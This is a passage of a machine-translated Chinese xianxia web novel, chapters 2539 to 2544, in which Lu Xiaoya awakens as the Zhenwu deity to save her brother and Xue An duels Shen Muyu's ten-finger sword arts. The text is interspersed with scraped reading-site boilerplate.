    Lu Zhengqing did not fall to the ground, but was held in his arms by Lu Yangyan who charged straight up, and waited after he landed.


    Lu Yangyan let go of Lu Zhengqing with a cold expression, and then solemnly said: "Master, it is useless to say anything now. This is an endless death!"


    Lu Zhengqing looked pale, but nodded, "You are right!"


    Then the two looked at each other, even standing back to back together.


    On the opposite side, Lu Zhongxuan winked, and the people of Zhenwu Taoism walked forward one after another.


    The situation is imminent.


    On the stand, Lv Xiaoya was distraught, clinging to the armrest of the seat with both hands, and staring at her brother on the water mirror without blinking.


    And beside Xue An, the Nine Heavens Profound Girl couldn''t help asking: "Don''t you still do it now?"


    Xue An said lightly: "The time has not arrived, wait a minute!"


    Jiu Tian Xuan Nuqiang endured this sentence without asking what time he was waiting for.


    At the same time, on the ring, the battle has broken out!


    Boom boom boom!


    Accompanied by a dull loud noise, the golden light on the ring flickered violently.


    That is the result of the two sides competing with pure real power.


    It is strange to say that even if they have been infested by evil spirits, Lu Zhongxuan and others can still use the power of real martial arts, even more powerful than before.


    Therefore, as soon as the battle began, Lu Zhongxuan and others showed an overwhelming advantage, forcing Lu Zhengqing, the master and the apprentice, to retreat again and again, with almost no power to fight back.


    Seeing this scene, many people in the stands shook their heads secretly, believing that the result of the two of Lu Zhengqing has been doomed.


    really.


    The battle lasted only a few seconds, and there were two figures in the battle group flying upside down, one from the left and the other from the right.


    He slammed into the limit of the ring, and then fell heavily to the ground.


    The fighting stopped.


    The ring returned to silence, only the violent gasps of Lu Zhengqing and Lu Yangyan echoed.


    A moment later, there was a scream of exhaustion from the stands, "Brother!"


    But this voice could not awaken the two who were already seriously injured.


    At the same time, there was a crisp sound of footsteps from the ring, and Lu Zhongxuan walked briskly to Lu Yangyan, and then looked at him condescendingly.


    At this moment, the corners of Lu Yangyan''s mouth were bleeding out, and his body was trembling unconsciously, only one pair of eyes remained awake.


    When the two of them looked at each other, a cruel smile appeared on the corner of Lu Zhongxuan''s mouth, then he squatted down and said with a joke on his face.


    "You still seem to be a little unconvinced, don''t you?"


    Lu Yangyan didn''t speak, but stared at Lu Zhongxuan, and then spit out a mouthful of saliva.


    The **** saliva stained Lu Zhongxuan''s cheeks, Lu Zhongxuan''s smile gradually became cold, and then he stretched out his hand and slowly wiped it away.


    "Very well, it seems that you do have a bit of backbone, but I hope you can keep this attitude in the future!"


    With that, he stood up abruptly, and then stepped on it.


    Click!


    Accompanied by a crisp sound of bone fracture, Lu Yangyan''s arm was instantly trampled broken, and then bent at a strange angle.


    Lu Yangyan''s face didn''t even show the slightest pain, on the contrary, a touch of mockery appeared in his eyes.


    And it was this ridicule that completely angered Lu Zhongxuan.


    I saw him growl, "What are you doing with that look? Huh? Are you looking down on me?"


    While questioning, he raised his foot and kept stepping on it.


    Each time it would cause a certain part of Lu Yangyan''s body to break.


    This endless sound of broken bones made many people in the stands pale.


    Some timid people even dare not even look at it.


    The Nine Heavens Profound Girl finally couldn''t help it, "Do you have to wait? If this goes on, he will really die!"


    Xue An''s complexion has also become a little dignified, UU reading www.uukanshu. com whispered: "Wait!"


    "What are you waiting for?"


    Xue An looked at Lu Xiaoya not far away, "I''m waiting for something to wake up!"


    The awakening of something?


    The Nine Sky Profound Girl was simply unclear, and then she followed Xue An''s eyes to look, but only saw Lu Xiaoya who bowed her head in silence.


    Then she gave a faint hum.


    Lu Yangyan''s brother and sister have a very good relationship, and Lu Xiaoya respects and loves her brother.


    It stands to reason that when she sees her brother being tortured so much, she will definitely not want to live.


    It was indeed that way just now.


    But what is going on now?


    Did he pass out?


    Jiutian Xuannv was suspicious in her heart.


    The situation on the ring has changed again.


    When Lu Yangyan''s hands and feet were broken, but there was still no sign of surrender.


    This Lu Zhongxuan finally lost his patience completely, and saw that he raised his foot cruelly and stepped heavily on Lu Yangyan''s chest.


    Huh boom boom!


    Along with the burst of bones bursting like firecrackers, Lu Yangyan''s chest immediately collapsed, and it was the sound of his ribs breaking all together.


    Invincible, the newest chapter address starts from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2539 I''m waiting), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2540： wake up

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    And this is not enough.


    I saw Lu Zhongxuan smile cruelly: "You are indeed very backbone, but it''s time to say goodbye!"


    With that said, his feet slammed hard, and he would completely crush Lu Yangyan''s chest and abdomen.


    But at the moment of this critical moment, an invisible wave suddenly caught his foot, making him unable to step on it.


    what happened?


    Lu Zhongxuan was taken aback for a moment, and then suddenly turned his head to look at the source of this fluctuation.


    At the same time, there was an extremely tyrannical aura rising across the stands, shocking everyone.


    "Oh my god, what is that?" someone exclaimed.


    Everyone turned their heads and looked around.


    Somewhere in the stand, Lu Xiaoya, who had bowed her head in silence, had already raised her head at this time, and her hair was flying and fluttering, her eyes were red, and her appearance was terrifying.


    But even in this horror, there is a great power.


    "Move my brother... brother! Die!"


    Lu Xiaoya whispered softly, and every time she uttered a word, her aura increased sharply.


    After speaking, Lu Xiaoya suddenly let out a harsh scream.


    The ears of some people who were close to him were instantly pierced.


    Even if he is far away, his face is full of pain.


    As for those super strong, they all gave a shock.


    Because at this moment, Lu Xiaoya, who was sitting on the stand, suddenly disappeared, and when he reappeared, he had already come to the arena.


    boom!


    I saw her hovering above everyone''s heads, and the long hair behind her head grew automatically without wind, and instantly enveloped the entire arena.


    Under the pressure, Lu Zhongxuan and the others snorted, and then discovered with great horror that their own strength was fading rapidly.


    In sharp contrast to them are Lu Zhengqing and Lu Yangyan.


    They had all been seriously injured, and slowly rose up under the support of an invisible force.


    Immediately afterwards, countless hair strands wrapped it up and pierced deeply into the body.


    In an instant, the injuries of the two of them began to recover quickly, and their aura also increased sharply.


    Such a change made Lu Zhongxuan stunned.


    Especially when he saw Lu Xiaoya, who was floating above the ring, with long hair like a demon and eyes red as blood, a question came to his mind.


    Who the **** is the evil thing!


    Why is this girl more like an evil thing than people like yourself?


    Although he was spitting out in his heart, his reaction was not unpleasant.


    Seeing him winking to the left and right, he immediately flew up and rushed towards Lu Xiaoya.


    Followed by all the people of Zhenwu Taoist Temple.


    This siege can be said to have gathered the power of all people in Zhenwu Taoism.


    He vowed to cut this sudden Lu Xiaoya under his horse.


    But they just rushed halfway, as if someone had pressed the pause button, and then they froze in the air.


    "How could this be? Who are you?" Lu Zhongxuan struggled, but couldn''t break free from the shackles of this invisible force, and he couldn''t help but shouted in horror.


    "What you are aiming at me is what I gave you!" Lu Xiaoya slowly said in a majestic voice.


    What?


    Lu Zhongxuan was taken aback for a moment.


    Immediately afterwards, I saw a huge idol slowly appearing behind Lu Xiaoya.


    A statue of a tortoise and snake with hair and feet.


    It is the image of Zhenwu deity.


    Seeing the appearance of this idol, the audience was taken aback for a moment, and even boiled.


    "How is it possible? Is this the Zhenwu deity that has long disappeared?" someone exclaimed.


    As for the Taoist camp, He Tianxuan of the Zhengyi school and Chongyangzi of the Quanzhen school all stood up suddenly, and then looked at the scene on the ring in disbelief.


    When they confirmed that the breath was correct, they couldn''t help but glance at each other, and then sighed together.


    "Unexpectedly! I did not expect that Master Zhenwu, who had disappeared for a long time, was hidden in the blood of a young girl. If it hadn''t erupted today, no one would have found it!" He Tianxuan sighed.


    Chongyangzi also sighed, "Who said no, we must know that after Master Zhenwu disappeared, our Taoists searched almost the entire sky and found nothing. At that time, people even thought that he had completely fallen, but they did not expect him to appear again today. NS."


    At the same time, there was another person in the stands who was as surprised as them.


    The Nine Heavens Profound Girl took a deep look at Xue An, and couldn''t help but ask: "Have you seen it already?"


    Xue An retracted his gaze, chuckled and shook his head, "It can''t be considered very early. At the beginning, I was just a little skeptical. It was not until later that I saw some clues after I proclaimed the saint!"


    "That''s why you just stopped me from coming to power again and again, because you want to use this incident to force out the true martial blood of Lu Xiaoya?"


    "Yeah!" Xue An nodded and replied.


    The Nine Heavens Profound Girl was silent.


    Because she once again felt a deep sense of frustration in Xue An.


    You must know that she, who is also a woman, spends much more time in contact with Lu Xiaoya than Xue An.


    But she didn''t notice it at all.


    Is this the gap between yourself and the genius?


    At this time, Xue An narrowed his eyes slightly and looked on the ring.


    As he said to Jiu Tian Xuan Nu, he really saw the clues in Lu Xiaoya very early.


    But he didn''t even think about resuscitating it when he started.


    It wasn''t until later that Lu Yangyan did not hesitate to pay any price in order to save his sister.


    Xue An had just moved his mind, ready to help the siblings.


    In fact, the most fundamental reason why the previous Lv Xiaoya fainted and fell ill was that the true martial power hidden in her body was about to move So if you want to solve this problem once and for all, the best way is to let it. Woke up completely.


    But this is easy to say, but extremely difficult to do.


    First of all, after so long, the power of true martial arts has been on the verge of losing control, which is far beyond ordinary people''s control.


    Secondly, after so many years of consumption, Lu Xiaoya''s mental strength is already very weak, and it is even more difficult to bear the price of actively activating the power of true martial arts.


    The only way is to wake it up on its own through intense emotional stimulation.


    That''s why Xue An prevented the Nine Heavens Profound Girl from coming to power, in order to wake up Lu Xiaoya in this way.


    To be honest, don''t look at Xue An''s appearance just now, but in reality there is still some anxiety in his heart.


    Because he doesn''t know whether this will succeed.


    Even at the end, he was ready to take the stage in person.


    But fortunately, he was right.


    When the whole audience was rioting about it, with Lu Zhongxuan as the leader, all the people of Zhenwu Taoist temple began to scream.


    Then the true martial power in their bodies was abruptly stripped out and merged into the bodies of Lu Zhengqing and Lu Yangyan.


    Invincible, the newest chapter address starts from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2540 Wake up), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2541： Unremarkable Xue An

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Almost in the blink of an eye, Lu Zhongxuan and others were soaked up and turned into skinny corpses.


    If it weren''t for the agility of the eyes, it would look exactly like a dead person.


    But even so, Lu Zhongxuan and others did not reveal the original form of the evil thing.


    Because they know very well that if they dare to reveal their identity at this time, they will definitely end up worse than this.


    After all, the original black-clothed adult''s order was that it was strictly forbidden to reveal his identity without notice, otherwise he would not be forgiving.


    Among the evil things, the hierarchy is strict, and the orders from the upper ones are beyond them.


    So even if they are treated this way, they still dare not show any clues.


    On the contrary, after communicating with each other with the only remaining consciousness, starting from Lu Zhongxuan, a cracking sound suddenly came from the extremely thin bodies of these true martial arts practitioners.


    Immediately afterwards, the bodies of these people all turned into powder, scattered without a trace.


    At this point, the Zhenwu Taoist view from the master to the elders, Qi Qi perishes, and only Lv Yangyan, Lv Xiaoya and Lv Zhengqing are left.


    The audience was silent.


    No one thought that this ordinary battle would have so many twists and turns.


    Especially the appearance of Zhenwu deity shocked many people.


    At this time, Lu Yangyan and Lu Zhengqing also recovered from their coma.


    Then Lu Yangyan stared blankly, floating in the air, like the sister of a **** and demon.


    Although they were in a coma just now, their consciousness was sober, so they had seen everything that happened outside.


    Lu Yangyan''s shock was beyond words when he saw that his sister who had been with him day and night turned into Zhenwu deity.


    For her only sister, Lu Yangyan loves her very much, and she does not hesitate to wander outside for her.


    But she didn''t expect that under her frail and sickly appearance, there was such a powerful soul hidden, even the **** she believed in.


    This made Lu Yangyan at this moment completely at a loss.


    Although it seems a good thing to become so strong, is she really her own sister now?


    Or has it become an existence that you don''t know at all?


    At this moment, the Zhenwu God statue that was originally suspended behind Lu Xiaoya suddenly disappeared, and then Lu Xiaoya fell to the ground and came in front of Lu Yangyan.


    "Brother!" Lu Xiaoya yelled softly.


    It was this brother that instantly awakened Lu Yangyan, and then a smile appeared on his face and he nodded heavily.


    "Um!"


    Now he can be sure that even with such a strong strength, his sister still has not changed.


    The Nine Heavens Profound Girl in the stands couldn''t help but sigh softly when she saw this: "This result is really good, but did the evil things really die just now?"


    Xue An shook his head, "How can it be that simple!"


    Although in the eyes of others, Lu Zhongxuan and others have been turned into powder, they can''t die anymore.


    But Xue An could feel that at the moment when their bodies were broken, there were several obscure and powerful auras directly breaking through the space and fleeing away.


    At this moment, Lv Yangyan brothers and sisters and Lv Zhengqing three people stepped out of the ring.


    But unlike when he was on stage, many people greeted him this time, including Taoist He Tianxuan and Chongyangzi.


    When they saw them walking down, the two immediately greeted them, and then Chong Lu Xiaoya bowed her hands respectfully.


    "Congratulations to Master Zhenwu returning to his place!"


    Facing this kind of scene, Lu Xiaoya blushed, and a little embarrassed to hide behind her brother.


    At this time, she still had the aura of killing and decisively mastering life and death a little bit earlier, behaving exactly like an ordinary little girl.


    But in this way, no one dared to treat her with slight contempt.


    After all, everyone just watched what happened in the ring.


    Lu Xiaoya almost wiped out the entire Zhenwu Taoist view in her gestures, and the powerful strength displayed in it was enough to be astounding.


    Even his attitude towards Lu Yangyan and Lu Zhengqing has become a lot better.


    As for the people who were contemptuous because of Lu Zhongxuan''s betrayal of the teacher''s school, all of them have changed their minds at this moment.


    joke!


    Lv Xiaoya represents the power of Zhenwu deity, which is the deity that Zhenwu Taoist Temple is famous for and devoutly worshipped.


    It can be said that her words are imperial edicts for the real martial art, so when they betray their masters, it is the same as betraying themselves. Isn''t that funny?


    Even if she completely wiped out Lu Zhongxuan and others in her backhand, no one had any objection.


    And seeing brother and sister Lu Yangyan return safely, Zhu Zhesheng and many people on Xue An are all happy for them.


    At this moment of joy, I suddenly heard a voice full of majesty from the stands.


    "Since everyone is using this ring to solve personal problems, then I''ll bother!"


    Following the voice, a sword light in the Shen family''s camp rose to the sky and directly rushed into the ring.


    After standing still, it was the second son Shen Muyu.


    I saw him standing proudly, then cast his eyes on Xue An in the distant stand, and smiled coldly, "How about it? Isn''t it time to end the battle between you and me?"


    As soon as this remark came out, the audience was in an uproar.


    The fact that Shen Muyu broke into the Pharmacist Alliance alone and gave Xue Anli, who was in retreat at the time, had already blasted the whole world.


    It''s just that no one thought that this Shen Muyu would get into trouble so quickly.


    In an instant, the eyes of the audience focused on Xue An, who was sitting on the stands.


    Xue An didn''t panic, but the corners of his mouth raised slightly, revealing a faint smile.


    "Okay, since you are so anxious, then I will play with you first!"


    Speaking of Xue An, he stood up and walked to the ring.


    "Xue An, you should be careful!" Yue Qinghuan shouted nervously.


    Xue An smiled at her, "Don''t worry!"


    In the words, Xue An''s figure flashed, and the next moment he appeared on the ring.


    Not to mention anything else, this hand alone made many strong men in the stands surprised.


    Ask yourself, the speed Xue An just showed can be achieved by many people present, but the difficulty lies in Xue An''s indifferent aura of walking in the courtyard.


    This is something that many people want to imitate but cannot imitate.


    At the same time, it also proved his own powerful strength.


    Just this moment, the people who had despised Xue An couldn''t help but correct their mentality at this moment.


    In the Yin Yang family camp located in the middle of the stands, the left shadow **** Zhao Haiyuan suddenly sneered.


    "This kid is not old, but his strength is good, but I don''t know if he can defeat this peerless genius of the Shen family!"


    The right shadow **** Gu Hanguang shook his head, "I think it''s boring, how detached is the status of the Shen family. This Shen Muyu can stand out in such an environment and be hailed as a peerless genius, which proves that he is definitely not an idler. In contrast, this Xue An looks quite ordinary!"


    Invincible, the newest chapter address starts from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2541 Ping and Xue An), and you can see it when you open the bookshelf next time!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2542： 10 Finger Swords

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    The two of them were talking, but no one noticed the gradually clenched fist of the middle-jun Yuehua.


    His attention to this battle is unprecedented.


    After all, he also wanted to know whether Xue An could defeat the Shen family''s prestige even with Shen Muyu.


    At the same time, in an inconspicuous corner of the stand stood the silent Mo family members.


    At this moment, Mo Kong, the giant of the Mo family, suddenly sighed slightly.


    "What a peerless battle, but unfortunately it shouldn''t be used for this!"


    The new disciple Jiang Cunliang from the miscellaneous family who had recently joined the family was puzzled and asked, "Giant, what do you mean by this?"


    Mo Kong shook his head, but did not explain, but looked at the top of the ring with a trace of worry on his face.


    At this moment, Xue An and Shen Muyu are standing opposite each other.


    Although he hasn''t done it yet, there are already two auras in the void that are competing.


    Shen Muyu took the lead, "Seriously, I really didn''t expect that you could not only pass through the pass, but also break through the pass and achieve the realm of a saint. From this point of view, it is not a fluke that you can defeat the red shirt!"


    Xue An smiled indifferently, but did not speak, because he knew that Shen Muyu must have something to say.


    really.


    Shen Muyu frowned slightly, "But I really can''t understand. With your talent, why should I go against my Shen family?"


    "I''m against your Shen family?" Xue An couldn''t help but laugh.


    "At the beginning, your Shen family sent someone to Xingshi to inquire about the crime, and you didn''t even give me a chance to speak, and you opened your mouth and let me go to your Shen family with Jianxin to plead guilty, but now you say that I happened to be against your Shen family? "


    "The words of the world seem to be finished by you!"


    Xue An''s last sentence was very rude.


    But Shen Muyu only frowned slightly, and then sighed lightly: "It was just that his subordinates did things too recklessly. After all, what you are carrying is Jianxin Shen, and they are justified in their anxiety!"


    "They think that it was from you by force, but I know that is absolutely impossible. Things should be just as you said, they were gifts from friends!"


    "What then? What are you trying to say?" Xue An raised his eyebrows and asked coldly.


    "What I want to say is actually very simple. It would be a shame to die under my sword with your talent, so now as long as you admit defeat and admit your mistakes, I can forget the blame, and at the same time help you become the Keqing elder of my Shen family. What do you think of enjoying the sword intent resources that my Shen family has accumulated over thousands of years?"


    Hearing this, there was a slight commotion in the stands, and many people looked envious.


    Because the elder Ke Qing of the Shen family is an extremely difficult position to obtain.


    Once owned, it means supreme glory.


    As for the sword intent resources accumulated by the Shen family over thousands of years, it is an unimaginable huge wealth, especially for Jian Xiu, its seductiveness is beyond words.


    At least many people in the Shen family camp were shocked by Shen Muyu''s proposal.


    Shen Gaoge murmured dissatisfiedly: "Cousin, what do you think the second son is thinking? Why should he be so polite to Xue An? Could it be that he is also afraid of it?"


    Shen Hongyi glared at his unsuspecting cousin viciously, "Shut up, and talk nonsense, be careful I will kick you out now!"


    Shen Gaoge closed his mouth quietly, but his eyes were still full of grievances.


    At this moment, there was a burst of laughter from the ring.


    The laughter was full of sarcasm.


    After laughing for a long time, Xue An gradually reduced his smile, and then said in a mocking tone.


    "Shen Muyu, don''t you really think that everyone is full of yearning for your Shen family? Or did you just say that you just wanted to shake my sword intent?"


    Shen Muyu seemed to have anticipated Xue An''s reaction a long time ago, and couldn''t help sighing: "Actually, I really want to win you over!"


    "Okay, since your Shen family entered the arena, you have been constantly building momentum for you, and now you have even used the words to shake my fighting spirit. It seems that your Shen family really does everything in order to win. !"


    "At the same time, I will tell you clearly now that Xue An is not uncommon at all for your so-called wooing! You Shen family are nothing more than a group of arrogant ants in my eyes!"


    boom!


    If there was just a commotion on the stands just now, it is now like a scoop of cold water poured in a pan, completely boiling.


    "Hey! It''s been a long time since no one dared to talk to the Shen family like this?" Someone gasped.


    "Who said no, I guess it''s going to be lively today!"


    "How dare to mock the Shen family face to face, this guy is really a tough guy!"


    For a while, there are those who are surprised, those who are worried, and of course, there are also happy.


    For example, Yue Qinghuan.


    After listening to Xue An''s domineering declaration, her excited little face flushed, and she suddenly stood up and applauded.


    "That''s good, I''ve long seen the Shen family''s gang unpleasant, with bullish nostrils soaring all day long, do you really think I''m great?"


    Her speech made the already boiling situation more heated.


    Many people recognized her even more, knowing that she is the younger sister of the contemporary patriarch of the military family, and they followed suit.


    The expressions of everyone in the Shen family became a little ugly now.


    In particular, Shen Muyu on the ring suddenly changed his complexion, and a look of anger appeared in his eyes, but he was immediately suppressed.


    "Okay! Since you think so, it''s useless to say more, let''s see whose sword is more powerful!"


    As he said, Shen Muyu suddenly raised his eyes, and his aura suddenly changed.


    If the Shen Muyu just now is restrained, like a peerless weapon with a sword hidden in its sheath.


    Now, his sword has been drawn out, it can be said to be sharp and sharp. UU reading www. uukanshu. com


    Even with the barriers of the arena, everyone in the stands still feels tremendous pressure.


    It is conceivable that Xue An, who is standing opposite, should be under much pressure.


    But in the face of this powerful sword, Xue An only treated it as a breeze blowing, and said with a smile.


    "Okay, let me see how powerful a sword you can make for so long that you have cultivated it!"


    When he said this, Xue An didn''t even look at the enemy, and stood there idle.


    This clearly shows that it is a naked ignorance and provocation.


    But when the sword intent was in full swing, Shen Muyu''s whole body was advanced into a mysterious realm of no desire and no demand, and everything from the outside could no longer interfere with him.


    Therefore, he raised his hand expressionlessly, stretched out the index finger of his left hand, and cut straight down.


    "Ten-finger sword! It''s a ten-finger sword!" Shen Hongyi murmured like a groan, his eyes full of surprise.


    If the sword repair is like her, you can naturally see how powerful this sword is!


    Don''t look at this sword intent, but the chopsticks are thick and thin, and there is not much momentum, but it is so powerful that it can be said that the gods block and kill the gods and Buddhas.


    This is also Shen Muyu''s famous trick, the ten-finger sword!


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2542 The Ten Finger Swords are Out of the World), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2543： With ease

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    The reason why Shen Muyu is hailed as the unique genius of the Shen family for thousands of years is because of his horrifying creativity in kendo.


    This ten-fingered sword was created when he was a teenager. Once it came out, it amazed the entire Shen family and established his status as the first person in the younger generation.


    As the name suggests, this ten-fingered sword is a sword technique that extends from the ten fingers of both hands. The key is that Shen Muyu creatively blends ten different sword intents with his fingers perfectly.


    This alone is enough to make Shen Hongyi and other geniuses willing to bow down.


    Because the general sword repairer can only refine one kind of sword intent for a lifetime, even a leader can master two sword intents at most.


    No one has ever been able to shoot like Shen Muyu with ten sword intents, and there is no conflict at all.


    For example, at this moment, what Shen Muyu displayed was the sword intent that belonged solely to the index finger of his left hand, named Zhihuo.


    The sword is as its name, although its momentum is not awe-inspiring, but wherever it goes, even the space is burnt to the extreme high temperature.


    But Xue An just smiled coldly at this, facing the sword intent coming straight forward, he raised his hand calmly and lightly flicked his finger at the void.


    Bang!


    A huge earthquake in the space, together with the sword intent that had rushed to the front, shattered and turned into nothing.


    But Shen Muyu didn''t stop, he saw his right index finger leaning upwards, cutting out the second sword.


    The name of the sword is extremely cold.


    In contrast to the previous Burning Fire, this sword rushed upward with the Qi Han Qi, causing the space that had just been scorched by the Burning Fire to make a slight cracking sound.


    In fact, all this happened extremely fast, which is not as fast as words can describe.


    Therefore, from the eyes of the audience, it was as if Shen Muyu displayed two completely different sword intents at the same time.


    Jian Xiu widened his eyes in astonishment and muttered to himself, "This sword intent can still be used like this?"


    Not to mention the sword repairs in the stands that had been subverted, Xue An opened his mouth and let out a soft drink in the face of this extreme cold sword.


    "break!"


    With an order, the sword intent enough to freeze everything was broken, but at this moment, Shen Muyu''s third sword arrived.


    This sword was issued from the thumb of the left hand, and its name is Iwaju.


    As soon as this sword was thrown out, the space within ten feet of a radius suddenly sank. The dust that was originally suspended in the air fell on the surface of the ring like a meteor falling to the ground, smashing the surface of the extremely hard ring into many small pits. It can be seen that this sword is overbearing.


    But no matter how overbearing the sword intent, it disappeared in front of Xue An.


    Even if the weight of a 10,000 tons weighed on his body, it failed to make Xue An''s shoulders shake at all.


    But he was able to insist that this space that has experienced the baptism of ice and fire one after another can no longer support it.


    With the continuous crackling sound, even the space reinforced by the Twelve Yuanding Cauldron finally shattered.


    And this is exactly what Shen Muyu wants.


    He knew very well that the three swords just now couldn''t help Xue An at all.


    All he wants is to break this space.


    At this moment, the space fragments danced wildly, forming a small vortex.


    And it was at this moment that Shen Muyu''s eyes were full of glory, and the sword came out again.


    This sword was issued from the thumb of the right hand, and the sword is named Ruifa.


    As soon as this Jian Yi appeared, it carried a strong and sharp killing air, penetrated the space vortex, and pierced Xue An''s face.


    The spatial vortex not only failed to slow its power, but added a sense of violent violent.


    But at this moment, only a chuckle came.


    "After playing for so long, this sword still looks a little bit like!"


    Following the voice, **** appeared out of thin air, and then gently and cleverly clamped the sword intent.


    boom!


    The sword intent that had originally stabbed was forcibly stopped by these two white and slender fingers, so a gust of wind caused Xue An''s hair to waver.


    The audience fell silent.


    Even if it was Shen Muyu, a look of surprise appeared in his eyes at this moment.


    Because the sword intent held by Xue An was no more than an inch away from Xue An''s forehead at this moment.


    This distance is almost insignificant for the sword itself.


    It can be said that as long as the timing is a little slower, Xue An will be seriously injured.


    But he did it anyway, choosing to shoot at a perfect timing.


    This in itself represents a strong self-confidence.


    Shen Hongyi on the stand suddenly began to tremble, because she was extremely horrified to find out.


    Xue An''s strength has been extremely terrifying improvement from the last time he fought against him.


    It can be said that it is completely reborn.


    Shen Hongyi can be sure that if he is allowed to play with him again, it is estimated that he will not even have a chance to shoot a sword in front of him.


    Is this the gap between the super genius and the genius? Shen Hongyi thought almost desperately.


    As for Shen Gaoge, who had also worked with Xue An, he was so scared that he dared not say anything at this time.


    When he started with Xue An, he was no match for him, let alone now.


    At the same time, Xue An on the ring pressed his fingers, breaking the sword intent with his hand, and then said lightly.


    "If your strength only stops here, then you don''t have to go to the ring today!"


    When Xue An and Shen Hongyi were fighting, he was struggling to beat Shen Hongyi without hesitating to hurt himself.


    After the victory, he had to retreat because of his injuries.


    But this time facing Shen Muyu, whose strength and realm were far higher than Shen Hongyi, Xue An was able to perform well.


    All because of the breakthrough of that barrier.


    Although there is only one realm difference between Xianzun and Saint, the difference in strength cannot be calculated.


    Xue An''s ability to fight against the saints with the body of Xianzun before was completely dependent on his powerful spirit and realm. UU reading


    And after attaining the sage status, he gained all aspects of strengthening and promotion.


    That''s why she didn''t add any color to Shen Muyu.


    Shen Muyu''s pupils contracted slightly, and then he took a deep breath.


    "Xue An, your strength is really good, but it''s too early to speak wildly!"


    "Oh? Then you can try!" Xue An lightly smiled.


    Before the words fell, Shen Muyu''s momentum suddenly soared, and at the same time he took a step forward.


    The sword pointed out.


    This sword seemed to be on the surface of the water, and shallow ripples appeared in the space, and then it spread out at an extremely fast speed, and strengthened while spreading.


    By the time Xue An approached, it had already turned into a huge wave.


    The strange thing is that even so, you still can''t feel the slightest killing intent.


    It was as if all the sword wanted was to make a wave.


    This is the essence of this sword, its name is Zhirou.


    This time, Xue An''s complexion finally became a little serious, and he said softly: "Good job!"


    Then he took a palm.


    The palm power was imprinted on this monstrous wave and directly shattered it.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2543 with ease), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2544： Listen to the rain, remnant snow, drink alone, kill.

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    boom!


    The space just to be bridged broke again and poured down like rain.


    At this moment, a tender seedling suddenly appeared in the extremely chaotic void.


    That''s right.


    It is a seedling with three or two shoots.


    As soon as this seedling appeared, it quickly took root in the space, and then grew rapidly.


    In the blink of an eye, a towering tree took shape, but you can''t feel the slightest vitality from this tree.


    Some are just Sen Leng''s killing intent.


    The towering branches are luxuriant and lush, covering the whole arena.


    But all this is just a fleeting glorious scene. In the next second, the leaves on this big tree will turn yellow, and then fall.


    Bark.


    Accompanied by a soft sound, one of the leaves, after touching a piece of space debris, slashed straight and smoothly without any hindrance.


    Xue An''s eyes flashed and he involuntarily sighed, "Good sword!"


    Then he hurried back.


    Because he knows the power of these seemingly harmless leaves.


    Each leaf represents a sharp sword intent.


    But this is not the main thing. The main thing is that these sword intents have no laws at all.


    This is exactly the sword intent that Shen Muyu created when sitting in the middle of the mountain, watching autumn leaves fall.


    The name is called prosperity and death!


    Xue An retreated quickly, but this towering tree had already enveloped the entire arena, so no matter where he retreated, the fallen leaves would follow him.


    In this case, Xue An shot.


    I saw him blast out with a violent fist, and the towering tree transformed into sword intent broke into pieces at the sound.


    Shen Muyu''s eyes flashed, and then he shouted in a low voice, "Xue An, why don''t you use a sword?"


    Xue An sneered, "Because you are not worth my sword!"


    Shen Muyu''s face turned pale, and a look of anger appeared in his eyes.


    Ever since he was young, has he ever heard someone say such things.


    You must know that no matter where he went, he was treated as the most important person, and he didn''t dare to be negligent.


    Only in Xue An, he felt naked ignorance.


    But the anger faded in a flash, and soon he regained consciousness, then let out a sigh of relief and drew out the sword again.


    This sword was cut out, and the whole battlefield sounded pattering rain.


    Many people in the stands looked up with doubts.


    what happened?


    How can the rain be heard here?


    Especially the sound of rain is not the violent torrential rain, but a kind of moisturizing, silent and dense.


    But the more it is, the more lonely it feels.


    That''s right!


    It''s loneliness!


    At least there were many people present in a trance.


    It seemed to have penetrated the lengthy time at this moment, and returned to a certain era of youth. At that time, the youth was bloody, and the red candles in the attic were dim, not knowing what the joys and sorrows were.


    It was as if he was back in the boat in his prime of life listening to the rain. The westerly wind outside was full of pride.


    All in all, at this moment, many people''s emotions are controlled by the sound of the rain.


